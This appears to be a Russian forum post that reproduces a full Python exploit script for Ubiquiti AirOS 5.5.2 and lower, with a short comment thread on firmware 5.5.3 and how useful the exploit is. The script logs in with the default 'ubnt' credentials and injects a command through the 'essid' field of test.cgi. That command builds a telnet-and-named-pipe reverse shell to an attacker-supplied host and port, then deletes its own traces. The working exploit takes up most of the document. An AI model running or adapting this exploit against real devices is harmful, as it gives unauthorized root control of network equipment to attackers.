Уязвимость в Ubiquiti AirOS <= 5.5.2

#!/usr/bin/python
#+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : Ubiquiti AirOS <= 5.5.2 Remote POST-Auth Root Command Execution
# Date : 12-28-2012
# Author : xistence (xistence<[AT]>0x90.nl)
# Software link : <a href="http://www.ubnt.com/eula/?BACK=/downloads/XM-v5.5.2.build14175.bin" target="_blank" rel="noreferrer" style="cursor:help;display:inline !important;">http://www.ubnt.com/eula/?BACK=/downloads/XM-v5.5.2.build14175.bin</a>
# Vendor site : <a href="http://www.ubnt.com/" target="_blank" rel="noreferrer" style="cursor:help;display:inline !important;">http://www.ubnt.com/</a>
# Version : 5.5.2 and lower
# Tested on : PicoStation M2 (hardware)
#
# Vulnerability : The <a href="http://<IP>/test.cgi" target="_blank" rel="noreferrer" style="cursor:help;display:inline !important;">http://<IP>/test.cgi</a> "essid" parameter is not sanitized for input which allows for execution of operating
# system commands. The parameter input field can be like this to create a file /tmp/test.txt:
# "LINKTEST & /bin/touch /tmp/test.txt #"
# Authentication to the web site is necessary to exploit this vulnerability.
#+--------------------------------------------------------------------------------------------------------------------------------+


import urllib, urllib2, cookielib, sys, random, mimetools, mimetypes, itertools, time


print ""
print "[*] Ubiquiti AirOS <= 5.5.2 Remote POST-Auth Root Command Execution - xistence (xistence<[at]>0x90.nl) - 2012-12-28"
print ""
if (len(sys.argv) != 4):
print "[*] Usage: " + sys.argv[0] + " <rhost> <lhost> <lport>"
print ""
exit(0)


rhost = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]
webUser = "ubnt"
webPass = "ubnt"

# Create a random file with 8 characters
filename = ''
for i in random.sample('abcdefghijklmnopqrstuvwxyz1234567890',8):
filename+=i
filename +=".sh"

shellCmd = '& echo "mknod /tmp/backpipe p ; telnet ' + lhost + ' ' + lport + ' 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe ; rm -rf /tmp/backpipe ; rm -rf /tmp/' + filename + '" > /tmp/' + filename + ' ; chmod +x /tmp/' + filename + ' ; /bin/sh /tmp/' + filename + ' #'



class MultiPartForm(object):
"""Accumulate the data to be used when posting a form."""

def __init__(self):
self.form_fields = []
self.files = []
self.boundary = mimetools.choose_boundary()
return

def get_content_type(self):
return 'multipart/form-data; boundary=%s' % self.boundary

def add_field(self, name, value):
"""Add a simple field to the form data."""
self.form_fields.append( ( name, value ) )
return

def __str__(self):
"""Return a string representing the form data, including attached files."""
# Build a list of lists, each containing "lines" of the
# request. Each part is separated by a boundary string.
# Once the list is built, return a string where each
# line is separated by '\r\n'.
parts = []
part_boundary = '--' + self.boundary

# Add the form fields
parts.extend(
[ part_boundary,
'Content-Disposition: form-data; name="%s"' % name,
'',
value,
]
for name, value in self.form_fields
)

# Flatten the list and add closing boundary marker,
# then return CR+LF separated data
flattened = list( itertools.chain( *parts) )
flattened.append( '--' + self.boundary + '--' )
flattened.append( '' )
return '\r\n'.join( flattened )



# Create the form with simple fields
form = MultiPartForm()
form.add_field( 'uri', '' )
form.add_field( 'username', webUser )
form.add_field( 'password', webPass )

form2 = MultiPartForm()
form2.add_field( 'essid', 'LINKTEST ' + shellCmd )
form2.add_field( 'channel', '2412' )
form2.add_field( 'rssithresh', '13' )
form2.add_field( 'file_url', '' )
form2.add_field( 'action', 'test' )

# Our Cookie Jar
cj = cookielib.CookieJar()
opener = urllib2.build_opener( urllib2.HTTPCookieProcessor( cj ) )

# Just open the default url to grab the cookies and put them in the jar
print "[+] Opening default page [<a href="http://%s" target="_blank" rel="noreferrer" style="cursor:help;display:inline !important;">http://%s</a>] to store cookies" % rhost
resp = opener.open( "<a href="http://%s" target="_blank" rel="noreferrer" style="cursor:help;display:inline !important;">http://%s</a>" %rhost )

# Create our multi-part body + headers login POST request
print "[+] Logging in with user [%s] and password [%s] at host [%s]" % ( webUser, webPass, rhost )
resp = urllib2.Request( "<a href="http://%s/login.cgi" target="_blank" rel="noreferrer" style="cursor:help;display:inline !important;">http://%s/login.cgi</a>" % rhost )
body = str( form )
resp.add_header( 'Content-type', form.get_content_type() )
resp.add_header( 'Content-length', len( body ) )
resp.add_data( body )
request = opener.open( resp ).read()

# Create our multi-part body + headers command execution POST request
print "[+] Executing reverse shell commands [file = /tmp/" + filename + "], this might take up to a minute before a response is received in your netcat shell"
resp = urllib2.Request( "<a href="http://%s/test.cgi" target="_blank" rel="noreferrer" style="cursor:help;display:inline !important;">http://%s/test.cgi</a>" % rhost )
body = str( form2 )
resp.add_header( 'Content-type', form2.get_content_type() )
resp.add_header( 'Content-length', len( body ) )
resp.add_data( body )
request = opener.open( resp ).read()


time.sleep(30)
print "[+] Done, check your netcat reverse shell on ip [%s] port [%s]" % ( lhost, lport )

 

ссылка

антоха
2013-01-16 14:39:52
Avatar

моянипанимэ куды смотреть, для одаренных можно на русском?

а 5.5.3 есть для некоторых продуктов только

Ромка
2013-01-16 14:45:24
Avatar

Знач срочно шьемся в 5.5.3 :D

sanyadnepr
2013-01-16 15:01:06
Avatar

====================================================================
Version 5.5.3-Production Release (October 25, 2012)
--------------------------------------------------
New product support:
- New: Rocket M6
- New: AirGrid M2 HP (re-designed)
- New: AirGrid M5 HP (re-designed)

:D:ph34r:

USD
2013-01-16 16:37:36
Avatar

ololo niht funcukliren

Ромка
2013-01-16 17:24:11
Avatar

====================================================================
Version 5.5.3-Production Release (October 25, 2012)
--------------------------------------------------
New product support:
- New: Rocket M6
- New: AirGrid M2 HP (re-designed)
- New: AirGrid M5 HP (re-designed)

:D:ph34r:

моянипанимэ куды смотреть, для одаренных можно на русском?

а 5.5.3 есть для некоторых продуктов только

 

:D :ph34r:

 

А кто питон знает, что этот скрипт хоть делает?

NiTr0
2013-01-16 19:22:55
Avatar

По ходу девелоперы вари забыли некий test.cgi через который это все счастье и ломается, и который доступен только после логина на точку. Практическая польза от этого эксплойта без знания логина-пароля под огромным вопросом...

Вы должны войти

loading